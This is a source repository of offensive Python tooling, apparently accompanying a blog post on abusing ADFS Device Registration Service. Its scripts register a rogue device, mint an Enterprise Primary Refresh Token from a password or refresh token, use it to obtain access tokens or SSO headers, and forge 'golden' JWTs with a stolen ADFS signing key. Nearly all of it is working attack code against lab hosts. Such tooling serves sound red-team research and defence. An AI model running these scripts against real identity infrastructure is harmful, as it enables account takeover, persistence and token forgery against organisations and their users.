├── .gitignore ├── README.md ├── access_token.py ├── data ├── DeviceEnrollmentWebService.xml └── enroll.json ├── eprt.py ├── golden_jwt.py ├── output └── .keep └── register_device.py /.gitignore: -------------------------------------------------------------------------------- 1 | **/env 2 | **/.DS_Store 3 | **/*.pyc -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## ADFSToolkit 2 | 3 | A collection of scripts to support the blog post "ADFS - Living in the Legacy of DRS" 4 | 5 | ### register_device.py 6 | 7 | This script allows registering a new device using ADFS DRS with either the SOAP method (DeviceEnrollmentWebService.svc) or REST method (EnrollmentServer/device/): 8 | 9 | ``` 10 | # Register using SOAP method of DeviceEnrollmentWebService.svc 11 | python ./register_device.py soap adfs.lab.local 12 | 13 | # Register using REST method of EnrollmentServer/device/?api-version=1.0 14 | python ./register_device.py rest adfs.lab.local 15 | ``` 16 | 17 | Two new keys will be written to the `output` directory: 18 | 19 | * transport_key.pfx - Key registered to be added to `msDS-KeyCredentialLink` 20 | * private_key.pem - Device Registration private key 21 | * csr.pem - CSR used for Device Registration request 22 | * device_registration.crt - Signed Device Registration certificate 23 | 24 | ### eprt.py 25 | 26 | This script uses the transport key and device private key generated in `register_device.py` to generate a new Enterprise PRT 27 | 28 | Two methods of authentication are supported: 29 | 30 | * Password - Takes a username / password combination to associate the account to the EPRT 31 | * Refresh Token - Takes a refresh token for a user account to associate to the EPRT 32 | 33 | ``` 34 | # Use Password authentication 35 | python ./eprt.py adfs.lab.local ./output/device_registration.crt ./output/private_key.pem ./output/transport_key.pfx 'itadmin@lab.local' 'Pass@word1' 36 | 37 | # Use Refresh Token authentication 38 | python ./eprt.py adfs.lab.local ./output/device_registration.crt ./output/private_key.pem ./output/transport_key.pfx REFRESH_TOKEN_GOES_HERE 39 | ``` 40 | 41 | Both a PRT and Session Token will be outputted from this script for use with `access_token.py` 42 | 43 | ### access_token.py 44 | 45 | This script uses the generated Enterprise PRT from `eprt.py` to request either an access token for a target OAuth2 provider, or a value for the `x-ms-RefreshTokenCredential` HTTP header: 46 | 47 | ``` 48 | # Request an access token 49 | python ./access_token.py adfs.lab.local prt EPRT SESSION_KEY scope1,scope2,scope3 50 | 51 | # Request a header for `x-ms-RefreshTokenCredential` 52 | python ./access_token.py adfs.lab.local header EPRT SESSION_KEY 53 | ``` 54 | 55 | ### golden_jwt.py 56 | 57 | This script takes an example JWT and signs it using a compromised ADFS signing key: 58 | 59 | ``` 60 | python ./golden_jwt.py 61 | ``` -------------------------------------------------------------------------------- /access_token.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import requests 3 | import jwt 4 | import base64 5 | import json 6 | import os 7 | from cryptography.hazmat.primitives import hashes 8 | from cryptography.hazmat.primitives.asymmetric import rsa 9 | from cryptography.hazmat.primitives import serialization 10 | from cryptography.hazmat.primitives.asymmetric import padding 11 | from cryptography.hazmat.backends import default_backend 12 | from cryptography.hazmat.primitives.kdf.kbkdf import CounterLocation, KBKDFHMAC, Mode 13 | import datetime 14 | from cryptography.hazmat.primitives.ciphers.aead import AESGCM 15 | from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes 16 | from cryptography.hazmat.primitives import padding 17 | from urllib3.exceptions import InsecureRequestWarning 18 | import warnings 19 | from cryptography.utils import CryptographyDeprecationWarning 20 | 21 | warnings.filterwarnings("ignore", category=CryptographyDeprecationWarning) 22 | warnings.filterwarnings("ignore", category=InsecureRequestWarning) 23 | 24 | # Taken from Dirkjan's Roadlib library 25 | # https://github.com/dirkjanm/ROADtools/blob/96e68445f94982dff5cebf96412939bf9e54956a/roadlib/roadtools/roadlib/auth.py#L907 26 | def calculate_derived_key(sessionkey, context=None): 27 | """ 28 | Calculate the derived key given a session key and optional context using KBKDFHMAC 29 | """ 30 | label = b"AzureAD-SecureConversation" 31 | if not context: 32 | context = os.urandom(24) 33 | backend = default_backend() 34 | kdf = KBKDFHMAC( 35 | algorithm=hashes.SHA256(), 36 | mode=Mode.CounterMode, 37 | length=32, 38 | rlen=4, 39 | llen=4, 40 | location=CounterLocation.BeforeFixed, 41 | label=label, 42 | context=context, 43 | fixed=None, 44 | backend=backend 45 | ) 46 | derived_key = kdf.derive(sessionkey) 47 | return context, derived_key 48 | 49 | def generate_prt_header(hostname, eprt, signing_key, ctx): 50 | 51 | token_url = f"https://{hostname}/adfs/oauth2/token" 52 | 53 | try: 54 | response = requests.post(token_url, data="grant_type=srv_challenge", verify=False) 55 | nonce = response.json()["Nonce"] 56 | except Exception as e: 57 | print("Failed to get nonce: " + str(e)) 58 | sys.exit(1) 59 | 60 | header = { 61 | "alg": "HS256", 62 | "ctx": base64.b64encode(ctx).decode("utf-8"), 63 | "kdf_ver": 1 64 | } 65 | 66 | body = { 67 | "refresh_token": eprt, 68 | "request_nonce": nonce 69 | } 70 | 71 | token = jwt.encode(body, signing_key, algorithm="HS256", headers=header) 72 | 73 | print(token) 74 | 75 | # Taken from ROADTools 76 | # https://github.com/dirkjanm/ROADtools/blob/96e68445f94982dff5cebf96412939bf9e54956a/roadlib/roadtools/roadlib/auth.py#L949 77 | def decrypt_prt(prt, signing_key, ctx): 78 | 79 | parts = prt.split(".") 80 | 81 | header, enckey, iv, ciphertext, authtag = prt.split('.') 82 | header_decoded = base64.urlsafe_b64decode(header + '=' * (4 - len(header) % 4)) 83 | 84 | jwe_header = json.loads(header_decoded) 85 | iv = base64.urlsafe_b64decode(iv + '=' * (4 - len(iv) % 4)) 86 | ciphertext = base64.urlsafe_b64decode(ciphertext + '=' * (4 - len(ciphertext) % 4)) 87 | authtag = base64.urlsafe_b64decode(authtag + '=' * (4 - len(authtag) % 4)) 88 | 89 | if jwe_header["enc"] == "A256GCM" and len(iv) == 12: 90 | aesgcm = AESGCM(signing_key) 91 | depadded_data = aesgcm.decrypt(iv, ciphertext + authtag, header.encode("utf-8")) 92 | token = json.loads(depadded_data) 93 | else: 94 | cipher = Cipher(algorithms.AES(signing_key), modes.CBC(iv)) 95 | decryptor = cipher.decryptor() 96 | decrypted_data = decryptor.update(ciphertext) + decryptor.finalize() 97 | unpadder = padding.PKCS7(128).unpadder() 98 | depadded_data = unpadder.update(decrypted_data) + unpadder.finalize() 99 | token = json.loads(depadded_data) 100 | 101 | return token 102 | 103 | def request_access_token(hostname, client_id, scopes, resource, eprt, signing_key, ctx): 104 | 105 | token_url = f"https://{hostname}/adfs/oauth2/token" 106 | 107 | header = { 108 | "alg": "HS256", 109 | "ctx": base64.b64encode(ctx).decode("utf-8"), 110 | "kdf_ver": 1 111 | } 112 | 113 | body = { 114 | "scope": " ".join(scopes), 115 | "client_id": client_id, 116 | "resource": resource, 117 | "iat": datetime.datetime.utcnow(), 118 | "exp": datetime.datetime.utcnow() + datetime.timedelta(days=1), 119 | "grant_type": "refresh_token", 120 | "refresh_token": eprt 121 | } 122 | 123 | token = jwt.encode(body, signing_key, algorithm="HS256", headers=header) 124 | 125 | response = requests.post(token_url, data="grant_type=urn:ietf:params:oauth:grant-type:jwt-bearer&request=" + token, verify=False) 126 | 127 | # Decrypt the Access Token 128 | response_text = response.text 129 | 130 | return decrypt_prt(response_text, signing_key, ctx) 131 | 132 | def print_usage(): 133 | print("Usage: access_token.py prt scope1,scope2,scope3") 134 | print("Usage: access_token.py header ") 135 | sys.exit(1) 136 | 137 | if __name__ == "__main__": 138 | if len(sys.argv) < 5: 139 | print_usage() 140 | 141 | if sys.argv[1] == "prt": 142 | mode = "prt" 143 | if len(sys.argv) != 8: 144 | print_usage() 145 | else: 146 | mode = "header" 147 | if len(sys.argv) != 5: 148 | print_usage() 149 | 150 | host = sys.argv[2] 151 | eprt = sys.argv[3] 152 | session_key = base64.b64decode(sys.argv[4]) 153 | 154 | print("[*] Requesting Access Token with EPRT") 155 | 156 | ctx, signing_key = calculate_derived_key(session_key, None) 157 | 158 | print("[*] Calculated derived key: {}".format(base64.b64encode(signing_key).decode("utf-8"))) 159 | print("[*] Generated context: {}".format(base64.b64encode(ctx).decode("utf-8"))) 160 | 161 | if mode == "header": 162 | response = generate_prt_header(host, eprt, signing_key, ctx) 163 | else: 164 | response = request_access_token(host, sys.argv[5], sys.argv[7].split(","), sys.argv[6], eprt, signing_key, ctx) 165 | 166 | print(response) 167 | 168 | -------------------------------------------------------------------------------- /data/DeviceEnrollmentWebService.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | http://schemas.microsoft.com/windows/pki/2009/01/enrollment/RST/wstep 4 | urn:uuid:0d5a1441-5891-453b-becf-a2e5f6ea3749 5 | 6 | http://www.w3.org/2005/08/addressing/anonymous 7 | 8 | https://adfs.lab.local/EnrollmentServer/DeviceEnrollmentWebService.svc 9 | 10 | {access_token} 11 | 12 | 13 | 14 | 15 | http://schemas.microsoft.com/5.0.0.0/ConfigurationManager/Enrollment/DeviceEnrollmentToken 16 | http://docs.oasis-open.org/ws-sx/ws-trust/200512/Issue 17 | {csr} 18 | 19 | 20 | Windows 21 | 22 | 23 | 6.3.9600.0 24 | 25 | 26 | JustTea 27 | 28 | 29 | 30 | 31 | 32 | -------------------------------------------------------------------------------- /data/enroll.json: -------------------------------------------------------------------------------- 1 | { 2 | "TransportKey": "", 3 | "JoinType":4, 4 | "DeviceDisplayName": "JustTea", 5 | "OSVersion": "Windows 6.1.2.3", 6 | "CertificateRequest": { 7 | "Type": "pkcs10", 8 | "Data": "" 9 | }, 10 | "TargetDomain": "lab.local", 11 | "DeviceType": "x64", 12 | "Attributes": { 13 | "ReuseDevice": true, 14 | "ReturnClientSid": true, 15 | "SharedDevice": false 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /eprt.py: -------------------------------------------------------------------------------- 1 | import jwt 2 | from cryptography.hazmat.primitives import serialization 3 | from cryptography.hazmat.primitives.asymmetric import rsa 4 | from cryptography.hazmat.primitives import hashes 5 | from cryptography.hazmat.primitives.asymmetric import padding 6 | from cryptography.hazmat.primitives.serialization import pkcs12 7 | from cryptography.x509 import load_pem_x509_certificate, load_der_x509_certificate 8 | import base64 9 | import sys 10 | import requests 11 | from urllib3.exceptions import InsecureRequestWarning 12 | import json 13 | import hashlib 14 | from cryptography.hazmat.primitives.asymmetric import padding as apadding 15 | import warnings 16 | from cryptography.utils import CryptographyDeprecationWarning 17 | 18 | warnings.filterwarnings("ignore", category=CryptographyDeprecationWarning) 19 | warnings.filterwarnings("ignore", category=InsecureRequestWarning) 20 | 21 | # !!! Huge thanks to Dirkjan and ROADTOOLS !!! # 22 | 23 | def generate_kid(cert): 24 | public_key = cert.public_key().public_bytes( 25 | serialization.Encoding.PEM, 26 | serialization.PublicFormat.SubjectPublicKeyInfo 27 | ) 28 | return base64.urlsafe_b64encode(hashlib.sha1(public_key).digest()).decode("utf-8").rstrip("=") 29 | 30 | def generate_x5c(cert): 31 | return [base64.b64encode(cert.public_bytes(serialization.Encoding.DER)).decode("utf-8")] 32 | 33 | def request_prt(hostname, client_id, device_cert, device_private_key, transport_key, grant_type, refresh_token="", username="", password=""): 34 | 35 | token_url = f"https://{hostname}/adfs/oauth2/token" 36 | 37 | try: 38 | response = requests.post(token_url, data="grant_type=srv_challenge", verify=False) 39 | nonce = response.json()["Nonce"] 40 | except Exception as e: 41 | print("Failed to get nonce: " + str(e)) 42 | sys.exit(1) 43 | 44 | # Generate PRT request 45 | token = generate_prt_request(client_id, nonce, device_cert, grant_type, refresh_token, username, password) 46 | print("[*] Generated PRT request: " + token) 47 | 48 | try: 49 | print("[*] Sending PRT request") 50 | response = requests.post(token_url, data="grant_type=urn:ietf:params:oauth:grant-type:jwt-bearer&request=" + token, verify=False) 51 | 52 | print("[*] Received PRT response") 53 | print(response.json()) 54 | 55 | encrypted_prt = response.json()["refresh_token"] 56 | jwt = response.json()["session_key_jwe"] 57 | except Exception as e: 58 | print("Failed to request PRT: " + str(e)) 59 | sys.exit(1) 60 | 61 | # Decrypt the PRT 62 | session_token = decrypt_session_token(jwt, encrypted_prt, transport_key) 63 | 64 | return encrypted_prt, session_token 65 | 66 | # Taken from Dirkjan's Roadlib library (decrypt_jwe_with_transport_key) 67 | # https://github.com/dirkjanm/ROADtools/blob/96e68445f94982dff5cebf96412939bf9e54956a/roadlib/roadtools/roadlib/deviceauth.py#L719 68 | def decrypt_session_token(encrypted_jwt, encrypted_prt, encryption_key): 69 | 70 | parts = encrypted_jwt.split(".") 71 | body = parts[1] 72 | body = body + "=" * (4 - len(body) % 4) 73 | 74 | encrypted_key = base64.urlsafe_b64decode(body+('='*(len(body)%4))) 75 | session_token = encryption_key.decrypt(encrypted_key, apadding.OAEP(apadding.MGF1(hashes.SHA1()), hashes.SHA1(), None)) 76 | 77 | return session_token 78 | 79 | def generate_prt_request(client_id, nonce, device_cert, grant_type, refresh_token="", username="", password=""): 80 | 81 | header = { 82 | "alg": "RS256", 83 | "x5c": generate_x5c(device_cert) 84 | } 85 | 86 | payload = { 87 | "client_id": client_id, 88 | "scope": "aza openid", 89 | "request_nonce": nonce 90 | } 91 | 92 | if grant_type == "password": 93 | payload["grant_type"] = "password" 94 | payload["username"] = username 95 | payload["password"] = password 96 | elif grant_type == "refresh_token": 97 | payload["grant_type"] = "refresh_token" 98 | payload["refresh_token"] = refresh_token 99 | 100 | token = jwt.encode(payload, private_key, algorithm="RS256", headers=header) 101 | 102 | return token 103 | 104 | def print_usage(): 105 | print("Usage: python3 main.py [username] [password]") 106 | print("Or: python3 main.py [refresh_token]") 107 | sys.exit(1) 108 | 109 | if __name__ == "__main__": 110 | 111 | if len(sys.argv) <= 5: 112 | print_usage() 113 | 114 | with open(sys.argv[3], "rb") as key_file: 115 | private_key = serialization.load_pem_private_key(key_file.read(), password=None) 116 | 117 | with open(sys.argv[2], "rb") as cert_file: 118 | cert = load_der_x509_certificate(cert_file.read()) 119 | 120 | with open(sys.argv[4], "rb") as transport_key: 121 | transport_priv_key, transport_cert, _ = pkcs12.load_key_and_certificates(transport_key.read(), b"") 122 | 123 | if len(sys.argv) == 5: 124 | prt, session_key = request_prt(sys.argv[1], "29d9ed98-a469-4536-ade2-f981bc1d605e", cert, private_key, transport_priv_key, "refresh_token", refresh_token=sys.argv[5]) 125 | elif len(sys.argv) == 7: 126 | prt, session_key = request_prt(sys.argv[1], "29d9ed98-a469-4536-ade2-f981bc1d605e", cert, private_key, transport_priv_key, "password", username=sys.argv[5], password=sys.argv[6]) 127 | else: 128 | print_usage() 129 | 130 | print("[*] Session Token: {}".format(base64.b64encode(session_key).decode("utf-8"))) 131 | print("[*] PRT: {}".format(prt)) 132 | 133 | print("You can now use `access_token.py` to get an access token using the PRT and the session key.") -------------------------------------------------------------------------------- /golden_jwt.py: -------------------------------------------------------------------------------- 1 | import jwt 2 | from cryptography.hazmat.primitives import serialization 3 | from cryptography.hazmat.primitives.asymmetric import rsa 4 | from cryptography.hazmat.primitives import hashes 5 | from cryptography.hazmat.primitives.asymmetric import padding 6 | from cryptography.x509 import load_pem_x509_certificate 7 | import base64 8 | import sys 9 | import json 10 | import hashlib 11 | import time 12 | 13 | def generate_kid(cert): 14 | public_key = cert.public_key().public_bytes( 15 | serialization.Encoding.PEM, 16 | serialization.PublicFormat.SubjectPublicKeyInfo 17 | ) 18 | return base64.urlsafe_b64encode(hashlib.sha1(public_key).digest()).decode("utf-8").rstrip("=") 19 | 20 | def spoof_jwt(claims, private_key, public_key, include_timestamp=True): 21 | 22 | kid = generate_kid(public_key) 23 | 24 | header = { 25 | "alg": "RS256", 26 | "x5c": kid 27 | } 28 | 29 | if include_timestamp: 30 | claims["iat"] = int(time.time()) 31 | claims["exp"] = claims["iat"] + 600 32 | claims["nbf"] = claims["iat"] - 60 33 | 34 | token = jwt.encode(claims, private_key, algorithm="RS256", headers=header) 35 | return token 36 | 37 | if __name__ == "__main__": 38 | 39 | if len(sys.argv) < 4: 40 | print("Usage: python3 spoof.py ") 41 | sys.exit(1) 42 | 43 | # Load your RSA private key 44 | with open(sys.argv[1], "rb") as key_file: 45 | private_key = serialization.load_pem_private_key(key_file.read(), password=None) 46 | 47 | with open(sys.argv[2], "rb") as cert_file: 48 | cert = load_pem_x509_certificate(cert_file.read()) 49 | 50 | with open(sys.argv[3], "r") as claims_file: 51 | claims = json.load(claims_file) 52 | 53 | token = spoof_jwt(claims, private_key, cert) 54 | print(token) 55 | -------------------------------------------------------------------------------- /output/.keep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xpn/adfstoolkit/8cc44dd5b9ff35eeeb067c209506070c0aa61b8d/output/.keep -------------------------------------------------------------------------------- /register_device.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from cryptography.hazmat.primitives import hashes 3 | from cryptography.hazmat.primitives.asymmetric import rsa 4 | from cryptography.hazmat.primitives.asymmetric import padding 5 | from cryptography.hazmat.primitives import serialization 6 | from cryptography.hazmat.primitives import hashes 7 | from cryptography.x509 import Name, NameAttribute 8 | from cryptography.x509 import CertificateSigningRequestBuilder 9 | from cryptography.x509.oid import NameOID 10 | import datetime 11 | from dsinternals.common.cryptography.X509Certificate2 import X509Certificate2 12 | import base64 13 | import time 14 | import json 15 | import sys 16 | from lxml import etree 17 | 18 | # Shout out to the following resources which were invaluable in creating this script: 19 | ## @DrAzureAd - https://aadinternals.com/post/devices/ 20 | ## @dirkjanm - https://github.com/dirkjanm/ROADtools/ 21 | 22 | def generate_transport_key(): 23 | cert = X509Certificate2(subject='cn=somewhere', keySize=2048, notBefore=(-40*365), notAfter=(40*365)) 24 | pubKey = cert.ExportRSAPublicKeyBCrypt() 25 | cert.ExportPFX('output/transport_key', '') 26 | print("[*] Transport key saved to output/transport_key.pfx (empty password)") 27 | return base64.b64encode(pubKey.toRawBytes()) 28 | 29 | def generate_device_key(): 30 | private_key = rsa.generate_private_key( 31 | public_exponent=65537, 32 | key_size=2048 33 | ) 34 | 35 | subject = Name([ 36 | NameAttribute(NameOID.COUNTRY_NAME, "US"), 37 | NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, "California"), 38 | NameAttribute(NameOID.LOCALITY_NAME, "San Francisco"), 39 | NameAttribute(NameOID.ORGANIZATION_NAME, "My Organization"), 40 | NameAttribute(NameOID.COMMON_NAME, "mydomain.com"), 41 | ]) 42 | 43 | csr_builder = CertificateSigningRequestBuilder() 44 | csr_builder = csr_builder.subject_name(subject) 45 | 46 | # Sign CSR with the private key 47 | csr = csr_builder.sign( 48 | private_key, hashes.SHA256() 49 | ) 50 | 51 | private_key_pem = private_key.private_bytes( 52 | encoding=serialization.Encoding.PEM, 53 | format=serialization.PrivateFormat.TraditionalOpenSSL, 54 | encryption_algorithm=serialization.NoEncryption() 55 | ) 56 | 57 | csr_pem = csr.public_bytes( 58 | encoding=serialization.Encoding.PEM 59 | ) 60 | 61 | # Save to files 62 | with open("output/private_key.pem", "wb") as f: 63 | f.write(private_key_pem) 64 | 65 | with open("output/csr.pem", "wb") as f: 66 | f.write(csr_pem) 67 | 68 | print("[*] Private key for Device saved to output/private_key.pem") 69 | print("[*] CSR for Device saved to output/csr.pem") 70 | 71 | return csr_pem 72 | 73 | def register_device_soap(hostname, csr): 74 | 75 | # Device Auth Flow 76 | device_code_url = f"https://{hostname}/adfs/oauth2/devicecode" 77 | response = requests.post(device_code_url, data="client_id=dd762716-544d-4aeb-a526-687b73838a22&resource=urn:ms-drs:434DF4A9-3CF2-4C1D-917E-2CD2B72F515A", verify=False) 78 | csr = csr.replace(b"\n", b"").replace(b"\r", b"").replace(b"-----BEGIN CERTIFICATE REQUEST-----", b"").replace(b"-----END CERTIFICATE REQUEST-----", b"") 79 | 80 | print("Please authenticate with the following code: " + response.json()["verification_uri_complete"]) 81 | 82 | # Wait until the user authenticates 83 | token = "" 84 | while token == "": 85 | time.sleep(response.json()["interval"]) 86 | response_poll = requests.post(f"https://{hostname}/adfs/oauth2/token", data="client_id=dd762716-544d-4aeb-a526-687b73838a22&grant_type=urn%3Aietf%3Aparams%3Aoauth%3Agrant-type%3Adevice_code&resource=urn:ms-drs:434DF4A9-3CF2-4C1D-917E-2CD2B72F515A&code=" + response.json()["device_code"], verify=False) 87 | if "access_token" in response_poll.json(): 88 | token = response_poll.json()["access_token"] 89 | 90 | with open("./data/DeviceEnrollmentWebService.xml", "rb") as f: 91 | xml = f.read() 92 | 93 | xml = xml.replace(b"{access_token}", base64.b64encode(token.encode('ascii'))) 94 | xml = xml.replace(b"{csr}", csr) 95 | 96 | # Make the registration request 97 | response_registration = requests.post(f"https://{hostname}/EnrollmentServer/DeviceEnrollmentWebService.svc", headers={ "Content-Type": "application/soap+xml; charset=utf-8" }, data=xml, verify=False) 98 | #print(response_registration.text) 99 | 100 | # Parse XML for response 101 | root = etree.fromstring(response_registration.text) 102 | items = root.xpath("//*[local-name()='BinarySecurityToken']") 103 | if len(items) == 1: 104 | print("[*] Device registered successfully") 105 | # Save the key to a file 106 | registration_cert_xml = base64.b64decode(items[0].text) 107 | with open("output/device_registration.xml", "wb") as f: 108 | f.write(registration_cert_xml) 109 | 110 | root = etree.fromstring(response_registration.text) 111 | items = root.xpath("//*[local-name()='parm']") 112 | if len(items) == 1: 113 | cert = items.get("value") 114 | with open("output/device_registration.crt", "wb") as f: 115 | f.write(base64.b64decode(cert)) 116 | 117 | print("[*] Device Registration certificate written to output/device_registration.crt") 118 | 119 | def register_device_rest(hostname, csr, transport_key): 120 | 121 | # Device Auth Flow 122 | device_code_url = f"https://{hostname}/adfs/oauth2/devicecode" 123 | response = requests.post(device_code_url, data="client_id=dd762716-544d-4aeb-a526-687b73838a22&resource=urn:ms-drs:434DF4A9-3CF2-4C1D-917E-2CD2B72F515A", verify=False) 124 | csr = csr.replace(b"\n", b"").replace(b"\r", b"").replace(b"-----BEGIN CERTIFICATE REQUEST-----", b"").replace(b"-----END CERTIFICATE REQUEST-----", b"") 125 | 126 | print("Please authenticate with the following code: " + response.json()["verification_uri_complete"]) 127 | 128 | # Wait until the user authenticates 129 | token = "" 130 | while token == "": 131 | time.sleep(response.json()["interval"]) 132 | response_poll = requests.post(f"https://{hostname}/adfs/oauth2/token", data="client_id=dd762716-544d-4aeb-a526-687b73838a22&grant_type=urn%3Aietf%3Aparams%3Aoauth%3Agrant-type%3Adevice_code&resource=urn:ms-drs:434DF4A9-3CF2-4C1D-917E-2CD2B72F515A&code=" + response.json()["device_code"], verify=False) 133 | if "access_token" in response_poll.json(): 134 | token = response_poll.json()["access_token"] 135 | 136 | with open("./data/enroll.json", "rb") as f: 137 | request = json.load(f) 138 | 139 | request["CertificateRequest"]["Data"] = csr.decode("utf-8") 140 | request["TransportKey"] = transport_key.decode("utf-8") 141 | 142 | # Make the registration request 143 | response_registration = requests.post(f"https://{hostname}/EnrollmentServer/device/?api-version=1.0", headers={ "Content-Type": "application/json", "Authorization": "Bearer " + token }, data=json.dumps(request), verify=False) 144 | reg_response = response_registration.json() 145 | cert = reg_response["Certificate"]["RawBody"] 146 | with open("output/device_registration.crt", "wb") as f: 147 | f.write(base64.b64decode(cert)) 148 | 149 | print("[*] Device Registration certificate written to output/device_registration.crt") 150 | 151 | if __name__ == "__main__": 152 | 153 | if len(sys.argv) != 3: 154 | print("Usage: python3 register_device.py (soap/rest) ") 155 | sys.exit(1) 156 | 157 | device_public_key = generate_device_key() 158 | device_transport_key = generate_transport_key() 159 | 160 | if sys.argv[1].lower().startswith("rest"): 161 | register_device_rest(sys.argv[2], device_public_key, device_transport_key) 162 | else: 163 | register_device_soap(sys.argv[2], device_public_key) --------------------------------------------------------------------------------